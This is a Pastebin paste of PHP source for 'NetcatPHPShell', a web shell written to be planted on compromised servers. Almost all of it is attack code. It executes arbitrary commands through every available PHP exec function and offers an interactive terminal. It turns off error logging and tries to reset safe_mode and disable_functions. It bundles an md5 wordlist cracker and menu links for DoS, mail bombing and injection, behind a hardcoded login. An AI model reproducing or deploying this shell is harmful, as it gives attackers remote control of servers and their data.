API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Feb 6th, 2016
185
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.44 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. #############################################
  4. # ––•(–•- NetcatPHPShell –•–)•–– #
  5.  
  6. # .::+ c0d3d by Mr.H4rD3n +::. #
  7.  
  8. # NetcatPHPShell ( Released on 11/04/12 ) #
  9.  
  10. # Email: exploit-id@hotmail.com #
  11.  
  12. #############################################
  13.  
  14.  
  15. */
  16.  
  17. error_reporting(0);
  18. ini_set('max_execution_time',0);
  19.  
  20.  
  21. // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
  22.  
  23. /**************** Defines *********************************/
  24.  
  25. $greeting = "";
  26. $user = "root";
  27. $pass = "islamic";
  28. $lock = "on"; // set this to off if you dont need the login page
  29. $antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
  30. $tracebackFeature = "off"; // set this feature to enable email alerts
  31. $ownerEmail = "exploit-id@hotmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell
  32. $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  33. $phpVersion=phpversion();
  34. $self=$_SERVER["PHP_SELF"]; // Where am i
  35. $sm = @ini_get('safe_mode');
  36. $SEPARATOR = '/'; // Default Directory separator
  37. $os = "N/D";
  38.  
  39. if(stristr(php_uname(),"Windows"))
  40. {
  41. $SEPARATOR = '\\';
  42. $os = "Windows";
  43. }
  44. else if(stristr(php_uname(),"Linux"))
  45. {
  46. $os = "Linux";
  47. }
  48.  
  49.  
  50. //*************************************************************/
  51.  
  52. // -------------- Traceback Functions
  53.  
  54. function sendLoginAlert()
  55. {
  56. global $ownerEmail;
  57. global $url;
  58. $accesedIp = $_SERVER['REMOTE_ADDR'];
  59. $randomInt = rand(0,1000000); # to avoid id blocking
  60. $from = "ani-shell$randomInt@fbi.gov";
  61.  
  62. //echo $from;
  63.  
  64. if(function_exists('mail'))
  65. {
  66. $subject = "Shell Accessed -- Ani-Shell --";
  67. $message = "
  68. Hey Owner ,
  69.  
  70. Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
  71.  
  72. If its not you :-
  73.  
  74. 1. Please check if the shell is secured.
  75. 2. Change your user name and Password.
  76. 3. Check if lock is 0n!
  77. and Kick that ****** out!
  78.  
  79. Thanking You
  80.  
  81. Yours Faithfully
  82. Ani-Shell
  83. ";
  84. mail($ownerEmail,$subject,$message,'From:'.$from);
  85. }
  86. }
  87.  
  88. //---------------------------------------------------------
  89.  
  90.  
  91. if(function_exists('session_start') && $lock == 'on')
  92. {
  93. session_start();
  94. }
  95. else
  96. {
  97. // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
  98. $lock = 'off';
  99. }
  100.  
  101. //logout
  102.  
  103. if(isset($_GET['logout']) && $lock == 'on')
  104. {
  105. $_SESSION['authenticated'] = 0;
  106. session_destroy();
  107. header("location: ".$_SERVER['PHP_SELF']);
  108. }
  109.  
  110. ini_set('max_execution_time',0);
  111.  
  112.  
  113.  
  114. /***************** Restoring *******************************/
  115.  
  116.  
  117. ini_restore("safe_mode_include_dir");
  118. ini_restore("safe_mode_exec_dir");
  119. ini_restore("disable_functions");
  120. ini_restore("allow_url_fopen");
  121. ini_restore("safe_mode");
  122. ini_restore("open_basedir");
  123.  
  124. if(function_exists('ini_set'))
  125. {
  126. ini_set('error_log',NULL); // No alarming logs
  127. ini_set('log_errors',0); // No logging of errors
  128. ini_set('file_uploads',1); // Enable file uploads
  129. ini_set('allow_url_fopen',1); // allow url fopen
  130. }
  131.  
  132. else
  133. {
  134. ini_alter('error_log',NULL);
  135. ini_alter('log_errors',0);
  136. ini_alter('file_uploads',1);
  137. ini_alter('allow_url_fopen',1);
  138. }
  139.  
  140. // ----------------------------------------------------------------------------------------------------------------
  141.  
  142.  
  143. ?>
  144. <html>
  145. <head>
  146. <title>––•(–•- NetcatPHPShell –•–)•–– | By Mr.H4rD3n | Mad In Morocco</title>
  147.  
  148. <?php
  149. if($antiCrawler != 'off')
  150. {
  151. ?>
  152. <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  153. <?php
  154. }
  155. ?>
  156.  
  157. <style>
  158.  
  159. /*
  160. ==========================
  161. CSS Section
  162. ==========================
  163. */
  164.  
  165. *{
  166. padding:0;
  167. margin:0;
  168. }
  169.  
  170. .alert
  171. {
  172. background:red;
  173. color:white;
  174. font-weight:bold;
  175. }
  176. td.info
  177. {
  178. width:0px;
  179. }
  180.  
  181. .bind
  182. {
  183. border: 1px solid #333333;
  184. margin: 15px auto 0;
  185. font-size: small;
  186. }
  187.  
  188. div.end *
  189. {
  190. font-size:small;
  191. }
  192.  
  193. div.end
  194. {
  195. width:100%;
  196. background:#529ADE;
  197. }
  198.  
  199. p.blink
  200. {
  201. text-decoration: blink;
  202. }
  203.  
  204. body
  205. {
  206. background-color:black;
  207. color:rgb(35,182,39);
  208. font-family:Tahoma,Verdana,Arial;
  209. font-size: small;
  210. }
  211.  
  212. input.own {
  213. background-color: Green;
  214. color: white;
  215. border : 1px solid #529ADE;
  216. }
  217.  
  218. blockquote.small
  219. {
  220. font-size: smaller;
  221. color: silver;
  222. text-align: center;
  223. }
  224.  
  225. table.files
  226. {
  227. border-spacing: 10px;
  228. font-size: small;
  229. }
  230.  
  231. h1 {
  232. padding: 4px;
  233. padding-bottom: 0px;
  234. margin-right : 5px;
  235. }
  236. div.logo
  237. {
  238. border-right: 1px aqua solid;
  239. }
  240. div.header
  241. {
  242. padding-left: 5px;
  243. font-size: small;
  244. text-align: left;
  245. }
  246. div.nav
  247. {
  248. margin-top:1px;
  249. height:30px;
  250. background-color: #529ADE;
  251. }
  252. div.nav ul
  253. {
  254. list-style: none;
  255. padding: 4px;
  256. }
  257. div.nav li
  258. {
  259. float: left;
  260. margin-right: 10px;
  261. text-align:center;
  262. }
  263. textarea.cmd
  264. {
  265. border : 1px solid #111;
  266. background-color : green;
  267. font-family: Shell;
  268. color : white;
  269. margin-top: 10px;
  270. font-size:small;
  271. }
  272.  
  273. input.cmd
  274. {
  275. background-color:black;
  276. color: white;
  277. width: 400px;
  278. border : 1px solid #529ADE;
  279.  
  280. }
  281. td.maintext
  282. {
  283. font-size: large;
  284. }
  285. #margins
  286. {
  287. margin-left: 10px;
  288. margin-top: 10px;
  289. color:white;
  290. }
  291. table.top
  292. {
  293. border-bottom: 1px solid aqua;
  294. width: 100%;
  295. }
  296. #borders
  297. {
  298. border-top : 1px solid aqua;
  299. border-left:1px solid aqua;
  300. border-bottom: 1px solid aqua;
  301. border-right: 1px solid aqua;
  302. margin-bottom:0;
  303. }
  304. td.file a , .file a
  305. {
  306. color : aqua;
  307. text-decoration:none;
  308. }
  309. a.dir
  310. {
  311. color:white;
  312. font-weight:bold;
  313. text-decoration:none;
  314. }
  315. td.dir a
  316. {
  317. color : white;
  318. text-decoration:none;
  319. }
  320. td.download,td.download2
  321. {
  322. color:green;
  323. }
  324. #spacing
  325. {
  326. padding:10px;
  327. margin-left:200px;
  328. }
  329. th.header
  330. {
  331. background: none repeat scroll 0 0 #191919;
  332. color: white;
  333. border-bottom : 1px solid #333333;
  334. }
  335. p.warning
  336. {
  337. background : red;
  338. color: white;
  339. }
  340.  
  341. /*
  342.  
  343. --------------------------------CSS END------------------------------------------------------
  344.  
  345. */
  346. </style>
  347. </head>
  348.  
  349. <body text="rgb(39,245,10)" bgcolor="black" style="background-color:#000000">
  350. <?php
  351.  
  352. if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
  353. {
  354. if( $_POST['user'] == $user &&
  355. $_POST['pass'] == $pass )
  356. {
  357. $_SESSION['authenticated'] = 1;
  358. // --------------------- Tracebacks --------------------------------
  359. if($tracebackFeature == 'On')
  360. {
  361. sendLoginAlert();
  362. }
  363. // ------------------------------------------------------------------
  364. }
  365. }
  366.  
  367. if($lock == 'off')
  368. {?>
  369. <p class="warning"><font color="#FF0000"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p>
  370. <?php
  371. }
  372.  
  373. if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
  374. {
  375.  
  376. ?>
  377. <table height="421" width="993">
  378. <tbody>
  379. <tr>
  380. <td width="448">
  381. <pre>
  382. <font color="Orange">
  383. <b>
  384. </b></font><b><font color="#19D2FE">[]======================================[]
  385. []-----------</font><font color="#FFFFFF">NetcatPHPShell</font><font color="#19D2FE">-------------[]
  386. []---------------</font><font color="#CC6600">Private</font><font color="#19D2FE">----------------[]
  387. []======================================[]
  388. [] </font><font color="#FFFFFF">–</font><font color="#19D2FE">–</font><font color="#FF0000">•(</font><font color="#19D2FE">-• c0d3d by Mr.H4rD3n •-</font><font color="#FF0000">)•</font><font color="#19D2FE">–</font><font color="#FFFFFF">–</font><font color="#19D2FE"> []</font></b></pre>
  389. <pre>
  390. <b><font color="#19D2FE">[]======================================[]
  391. [] NetcatPHPShell Released on </font><font color="#FFFFFF">11/04/12</font><font color="#19D2FE"> []</font></b></pre>
  392. <pre>
  393. <b><font color="#19D2FE">[]======================================[]
  394. [] </font><font color="#CC6600">WeLcOmE Master Of The Server !</font><font color="#19D2FE"> []
  395. []======================================[]</font></b></pre>
  396. <pre><b><font color="#19D2FE">[] Moroccan </font><font color="#FFFFFF">Hackers</font><font color="#19D2FE"> []
  397. [] </font><font color="#FFFFFF">Moroccan</font><font color="#19D2FE"> C0d3r []</font></b></pre>
  398. <pre><b><font color="#19D2FE">[] Moroccan </font><font color="#FFFFFF">Masters </font><font color="#19D2FE">[]</font></b></pre>
  399. <pre><b><font color="#19D2FE">[]======================================[]
  400. [] </font><font color="#CC6600">MaD </font><font color="#FFFFFF">In</font><font color="#CC6600"> </font><font color="#19D2FE">MoRoCcO []</font></b></pre>
  401. <pre><b><font color="#19D2FE">[]======================================[]
  402. [] []
  403. [] </font><font color="#CC6600">Netcat</font><font color="#19D2FE"> </font><font color="#FFFFFF">PHP Connect to Server</font><font color="#19D2FE"> []</font></b></pre>
  404. <pre><b><font color="#19D2FE">[] []
  405. []======================================[]
  406. [] </font><font color="#CC6600">My Groupe</font><font color="#19D2FE"> </font><font color="#FFFFFF">IsLamiC Warrior Team</font><font color="#19D2FE"> []
  407. []======================================[]
  408. [] </font><font color="#FF0000"> </font><font color="#CC6600">Email:</font><font color="#19D2FE"> </font><font color="#FFFFFF">exploit-id@hotmail.com</font><font color="#19D2FE"> []
  409. [] </font><font color="#CC6600"> Facebook :</font><font color="#19D2FE"> </font><font color="#FFFFFF">Facebook.com/Mr.H4rD3n</font> <font color="#19D2FE">[]
  410. []</font><font color="#19D2FE">======================================[]</font><font color="grey">
  411. </font></b><font color="grey">
  412. </pre>
  413. </td>
  414. <td>
  415. <h1><?php echo $greeting;?></h1>
  416. <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><br /><br />
  417. <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
  418. <input name="user" value="UserNamE" style="color: #19D2FE; background-color: #000000" size="20"/>
  419. <input name="pass" type="password" value="passwd" style="color: #19D2FE; background-color: #000000" size="20"/>
  420. <input class="own" type="submit" value="GO TO HeLL" style="color: #42CFF9; background-color: #000000"/>
  421. </form>
  422. </td>
  423. </tr>
  424. </tbody>
  425. </table>
  426. <?php
  427. }
  428. //---------------------------------- We are authenticated now-------------------------------------
  429. //Launch the shell
  430. else
  431. {
  432. //---------------------------------- Fuctions ---------------------------------------------------
  433.  
  434. function showDrives()
  435. {
  436. global $self;
  437. foreach(range('A','Z') as $drive)
  438. {
  439. if(is_dir($drive.':\\'))
  440. {
  441. ?>
  442. <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  443. <?php echo $drive.":\\" ?>
  444. </a>
  445. <?php
  446. }
  447. }
  448. }
  449.  
  450. function HumanReadableFilesize($size)
  451. {
  452.  
  453. $mod = 1024;
  454.  
  455. $units = explode(' ','B KB MB GB TB PB');
  456. for ($i = 0; $size > $mod; $i++)
  457. {
  458. $size /= $mod;
  459. }
  460.  
  461. return round($size, 2) . ' ' . $units[$i];
  462. }
  463.  
  464. function getClientIp()
  465. {
  466. echo $_SERVER['REMOTE_ADDR'];
  467. }
  468.  
  469. function getServerIp()
  470. {
  471. echo getenv('SERVER_ADDR');
  472. }
  473. function getSoftwareInfo()
  474. {
  475. echo php_uname();
  476. }
  477. function diskSpace()
  478. {
  479. echo HumanReadableFilesize(disk_total_space("/"));
  480. }
  481. function freeSpace()
  482. {
  483. echo HumanReadableFilesize(disk_free_space("/"));
  484. }
  485. function getSafeMode()
  486. {
  487. global $sm;
  488. echo($sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF");
  489.  
  490. }
  491.  
  492. function getDisabledFunctions()
  493. {
  494. if(!ini_get('disable_functions'))
  495. {
  496. echo "None";
  497. }
  498. else
  499. {
  500. echo @ini_get('disable_functions');
  501. }
  502. }
  503.  
  504. function getFilePermissions($file)
  505. {
  506.  
  507. $perms = fileperms($file);
  508.  
  509. if (($perms & 0xC000) == 0xC000) {
  510. // Socket
  511. $info = 's';
  512. } elseif (($perms & 0xA000) == 0xA000) {
  513. // Symbolic Link
  514. $info = 'l';
  515. } elseif (($perms & 0x8000) == 0x8000) {
  516. // Regular
  517. $info = '-';
  518. } elseif (($perms & 0x6000) == 0x6000) {
  519. // Block special
  520. $info = 'b';
  521. } elseif (($perms & 0x4000) == 0x4000) {
  522. // Directory
  523. $info = 'd';
  524. } elseif (($perms & 0x2000) == 0x2000) {
  525. // Character special
  526. $info = 'c';
  527. } elseif (($perms & 0x1000) == 0x1000) {
  528. // FIFO pipe
  529. $info = 'p';
  530. } else {
  531. // Unknown
  532. $info = 'u';
  533. }
  534.  
  535. // Owner
  536. $info .= (($perms & 0x0100) ? 'r' : '-');
  537. $info .= (($perms & 0x0080) ? 'w' : '-');
  538. $info .= (($perms & 0x0040) ?
  539. (($perms & 0x0800) ? 's' : 'x' ) :
  540. (($perms & 0x0800) ? 'S' : '-'));
  541.  
  542. // Group
  543. $info .= (($perms & 0x0020) ? 'r' : '-');
  544. $info .= (($perms & 0x0010) ? 'w' : '-');
  545. $info .= (($perms & 0x0008) ?
  546. (($perms & 0x0400) ? 's' : 'x' ) :
  547. (($perms & 0x0400) ? 'S' : '-'));
  548.  
  549. // World
  550. $info .= (($perms & 0x0004) ? 'r' : '-');
  551. $info .= (($perms & 0x0002) ? 'w' : '-');
  552. $info .= (($perms & 0x0001) ?
  553. (($perms & 0x0200) ? 't' : 'x' ) :
  554. (($perms & 0x0200) ? 'T' : '-'));
  555.  
  556. return $info;
  557.  
  558. }
  559.  
  560. /***********************************************************/
  561. // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
  562. // Turned OfF!
  563. /**********************************************************/
  564.  
  565.  
  566. function exec_all($command)
  567. {
  568.  
  569. $output = '';
  570. if(function_exists('exec'))
  571. {
  572. exec($command,$output);
  573. $output = join("\n",$output);
  574. }
  575.  
  576. else if(function_exists('shell_exec'))
  577. {
  578. $output = shell_exec($command);
  579. }
  580.  
  581. else if(function_exists('popen'))
  582. {
  583. $handle = popen($command , "r"); // Open the command pipe for reading
  584. if(is_resource($handle))
  585. {
  586. if(function_exists('fread') && function_exists('feof'))
  587. {
  588. while(!feof($handle))
  589. {
  590. $output .= fread($handle, 512);
  591. }
  592. }
  593. else if(function_exists('fgets') && function_exists('feof'))
  594. {
  595. while(!feof($handle))
  596. {
  597. $output .= fgets($handle,512);
  598. }
  599. }
  600. }
  601. pclose($handle);
  602. }
  603.  
  604.  
  605. else if(function_exists('system'))
  606. {
  607. ob_start(); //start output buffering
  608. system($command);
  609. $output = ob_get_contents(); // Get the ouput
  610. ob_end_clean(); // Stop output buffering
  611. }
  612.  
  613. else if(function_exists('passthru'))
  614. {
  615. ob_start(); //start output buffering
  616. passthru($command);
  617. $output = ob_get_contents(); // Get the ouput
  618. ob_end_clean(); // Stop output buffering
  619. }
  620.  
  621. else if(function_exists('proc_open'))
  622. {
  623. $descriptorspec = array(
  624. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  625. );
  626. $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  627. if(is_resource($handle))
  628. {
  629. if(function_exists('fread') && function_exists('feof'))
  630. {
  631. while(!feof($pipes[1]))
  632. {
  633. $output .= fread($pipes[1], 512);
  634. }
  635. }
  636. else if(function_exists('fgets') && function_exists('feof'))
  637. {
  638. while(!feof($pipes[1]))
  639. {
  640. $output .= fgets($pipes[1],512);
  641. }
  642. }
  643. }
  644. pclose($handle);
  645. }
  646. else
  647. {
  648. $output = "They have their Security there! :( ";
  649. }
  650.  
  651. return(htmlspecialchars($output));
  652.  
  653. }
  654. function magicQuote($text)
  655. {
  656. if (!get_magic_quotes_gpc())
  657. {
  658. return $text;
  659. }
  660. return stripslashes($text);
  661. }
  662.  
  663. function md5Crack($hash , $list)
  664. {
  665. $fd = fopen($list,"r");
  666. if( strlen($hash) != 32 || $fd == FALSE)
  667. {
  668. // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
  669. return "<p class='warning'>Hash or List invalid!</p>";
  670. }
  671. else
  672. {
  673. $pwdList = fread($fd,512);
  674.  
  675. $pwdList = explode("\n",$pwdList);
  676.  
  677. echo "Words Checked :-<br /><br />\n";
  678.  
  679.  
  680. foreach($pwdList as $pwd)
  681. {
  682. $pwd = trim($pwd);
  683.  
  684. echo "<br />[*] ".$pwd;
  685.  
  686. if(md5($pwd) == $hash )
  687. {
  688. return "<br /><br /><br />\n<h2>Hash Cracked</h2><br /><br />\n<p class='warning'>Planintext : $pwd</p>";
  689. }
  690. }
  691.  
  692.  
  693. }
  694. }
  695. //------------------------------------------------------------------------------------------------
  696.  
  697.  
  698. ?>
  699.  
  700. <div class="nav" style="width: 1005px; height: 49px">
  701. <ul>
  702. <li><a href="<?php echo $self;?>"></a></li>
  703. <li><a href="<?php echo $self.'?upload';?>"></a></li>
  704. <li><a href="<?php echo $self.'?shell';?>"></a></li>
  705. <li><a href="<?php echo $self.'?dos';?>"></a></li>
  706. <li><a href="<?php echo $self.'?fuzz';?>"></a></li>
  707. <li><a href="<?php echo $self.'?mail'?>"></a></li>
  708. <li><a href="<?php echo $self.'?bomb'?>"></a></li>
  709. <li><a href="<?php echo $self.'?connect'?>"></a></li>
  710. <li><a href="<?php echo $self.'?injector'?>"></a></li>
  711. <li><a href="<?php echo $self.'?decode'?>"></a></li>
  712. <li><a href="<?php echo $self.'?eval'?>"></a></li>
  713. <li><a href="<?php echo $self.'?md5'?>"></a></li>
  714.  
  715. <?php if($lock == 'on')
  716. {
  717. ?>
  718. <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font face="Times New Roman" size="4">&nbsp;</font><font face="Times New Roman" size="5">
  719. </font>
  720. <i><font face="Verdana" size="5">
  721. <a href="<?php echo $self.'?logout'?>">
  722. <font color="#FFFFFF"><span style="text-decoration: none">I m Out!</span></font></a></font></i><font color="#FF0000"><b><i><font face="Verdana" size="5"></li></font></i><font face="Verdana" size="5"> </font>
  723. </b><font face="Times New Roman" size="5">
  724. <?php
  725. }
  726. ?>
  727. </font>
  728. </font>
  729. </ul>
  730. </div>
  731.  
  732. <?php
  733. //-------------------------------- Check what he wants -------------------------------------------
  734.  
  735. // Shell
  736.  
  737. if(isset($_GET['shell']))
  738. {
  739. if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
  740. {
  741. $result = "";
  742. }
  743. else
  744. {
  745. $result=exec_all($_GET['cmd']);
  746. }
  747. ?>
  748. <?php
  749. }
  750.  
  751. //Rename
  752.  
  753. else if(isset($_GET['rename']))
  754. {
  755. if(isset($_GET['to']) && isset($_GET['rename']))
  756. {
  757. if(rename($_GET['rename'],$_GET['to']) == FALSE)
  758. {
  759. ?>
  760. <?php
  761. }
  762. }
  763. else
  764. {
  765. ?>
  766. <?php
  767. }
  768. }
  769.  
  770.  
  771. // No request made
  772. // Display home page
  773.  
  774. else
  775. {
  776. $dir = getcwd();
  777. if(isset($_GET['dir']))
  778. {
  779. $dir = $_GET['dir'];
  780. }
  781. ?>
  782.  
  783. <p>&nbsp;</p>
  784.  
  785. <?php
  786.  
  787. $aliases = array('la' => 'ls -la',
  788. 'll' => 'ls -lvhF',
  789. 'dir' => 'ls' );
  790. $passwd = array('' => '');
  791. error_reporting(0);
  792. class phpTerm {
  793.  
  794. function formatPrompt() {
  795. $user=shell_exec("whoami");
  796. $host=explode(".", shell_exec("uname -n"));
  797. $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  798. }
  799.  
  800. function checkPassword($passwd) {
  801. if(!isset($_SERVER['PHP_AUTH_USER'])||
  802. !isset($_SERVER['PHP_AUTH_PW']) ||
  803. !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  804. $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  805. @session_start();
  806. return true;
  807. }
  808. else {
  809. @session_start();
  810. return true;
  811. }
  812. }
  813.  
  814. function initVars()
  815. {
  816. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  817. {
  818. $_SESSION['cwd'] = getcwd();
  819. $_SESSION['history'] = array();
  820. $_SESSION['output'] = '';
  821. $_REQUEST['command'] ='';
  822. }
  823. }
  824.  
  825. function buildCommandHistory()
  826. {
  827. if(!empty($_REQUEST['command']))
  828. {
  829. if(get_magic_quotes_gpc())
  830. {
  831. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  832. }
  833.  
  834. // drop old commands from list if exists
  835. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  836. {
  837. unset($_SESSION['history'][$i]);
  838. }
  839. array_unshift($_SESSION['history'], $_REQUEST['command']);
  840.  
  841. // append commmand */
  842. $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  843. }
  844. }
  845.  
  846. function buildJavaHistory()
  847. {
  848. // build command history for use in the JavaScript
  849. if (empty($_SESSION['history']))
  850. {
  851. $_SESSION['js_command_hist'] = '""';
  852. }
  853. else
  854. {
  855. $escaped = array_map('addslashes', $_SESSION['history']);
  856. $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  857. }
  858. }
  859.  
  860. function outputHandle($aliases)
  861. {
  862. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  863. {
  864. $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  865. }
  866. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  867. {
  868. // The current command is 'cd', which we have to handle as an internal shell command.
  869. // absolute/relative path ?"
  870. ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  871.  
  872. // cosmetics
  873. while (strpos($new_dir, '/./') !== false)
  874. $new_dir = str_replace('/./', '/', $new_dir);
  875. while (strpos($new_dir, '//') !== false)
  876. $new_dir = str_replace('//', '/', $new_dir);
  877. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  878. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  879.  
  880. if(empty($new_dir)): $new_dir = "/"; endif;
  881.  
  882. (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  883. }
  884. else
  885. {
  886. /* The command is not a 'cd' command, so we execute it after
  887. * changing the directory and save the output. */
  888. chdir($_SESSION['cwd']);
  889.  
  890. /* Alias expansion. */
  891. $length = strcspn($_REQUEST['command'], " \t");
  892. $token = substr(@$_REQUEST['command'], 0, $length);
  893. if (isset($aliases[$token]))
  894. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  895.  
  896. $p = proc_open(@$_REQUEST['command'],
  897. array(1 => array('pipe', 'w'),
  898. 2 => array('pipe', 'w')),
  899. $io);
  900.  
  901. /* Read output sent to stdout. */
  902. while (!feof($io[1])) {
  903. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  904. }
  905. /* Read output sent to stderr. */
  906. while (!feof($io[2])) {
  907. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  908. }
  909.  
  910. fclose($io[1]);
  911. fclose($io[2]);
  912. proc_close($p);
  913. }
  914. }
  915. } // end phpTerm
  916.  
  917. /*##########################################################
  918. ## The main thing starts here
  919. ## All output ist XHTML
  920. ##########################################################*/
  921.  
  922. $terminal=new phpTerm;
  923.  
  924. @session_start();
  925.  
  926. $terminal->initVars();
  927. $terminal->buildCommandHistory();
  928. $terminal->buildJavaHistory();
  929. if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  930. $terminal->outputHandle($aliases);
  931.  
  932. header('Content-Type: text/html; charset=UTF-8');
  933. echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  934. ?>
  935.  
  936. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  937. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  938. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  939. <head>
  940. <title>.:: --+ NeTCaTPHPShell +-- ::.</title>
  941.  
  942. <script type="text/javascript" language="JavaScript">
  943. var current_line = 0;
  944. var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  945. var last = 0;
  946.  
  947. function key(e) {
  948. if (!e) var e = window.event;
  949.  
  950. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  951. command_hist[current_line] = document.shell.command.value;
  952. current_line++;
  953. document.shell.command.value = command_hist[current_line];
  954. }
  955.  
  956. if (e.keyCode == 40 && current_line > 0) {
  957. command_hist[current_line] = document.shell.command.value;
  958. current_line--;
  959. document.shell.command.value = command_hist[current_line];
  960. }
  961.  
  962. }
  963.  
  964. function init() {
  965. document.shell.setAttribute("autocomplete", "off");
  966. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  967. document.shell.command.focus();
  968. }
  969.  
  970. </script>
  971. <style type="text/css">
  972. body {font-family: sans-serif; color: black; background: white;}
  973. table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  974. td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  975. textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  976. p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  977. input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  978. </style>
  979. </head>
  980.  
  981. <body onload="init()" style="background-color:#000000">
  982.  
  983. nd )'<?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  984.  
  985. <div align="center">
  986.  
  987. <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><p>
  988. <font color="#FFFFFF">
  989. -------------------------------------------------------------------------------------</font></p>
  990. <p><font face="Times New Roman" color="#529ADE" size="4">–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font><font color="#FF0000" face="Times New Roman" size="4">–•</font><font size="4"><font color="#42CFF9" face="Times New Roman">(</font><font color="#FF0000" face="Times New Roman">-</font><font color="#27F50A" face="Times New Roman">•</font><b><font color="#529ADE" face="Times New Roman">
  991. © Copyright </font><font color="#FF0000" face="Times New Roman">Mr.H4rD3n</font><font color="#529ADE" face="Times New Roman">
  992. </font><font color="#FFFF00" face="Times New Roman">[ </font><font color="#529ADE" face="Times New Roman">All
  993. rights reserved </font><font color="#FFFF00" face="Times New Roman">]</font><font color="#529ADE" face="Times New Roman">
  994. </font><font color="#27F50A" face="Times New Roman">•</font><font color="#FF0000" face="Times New Roman">-</font><font color="#42CFF9" face="Times New Roman">)</font></b></font><b><font color="#FF0000" face="Times New Roman" size="4">•–</font><font color="#FFFFFF" face="Times New Roman" size="4">–</font></b></p>
  995. <p>
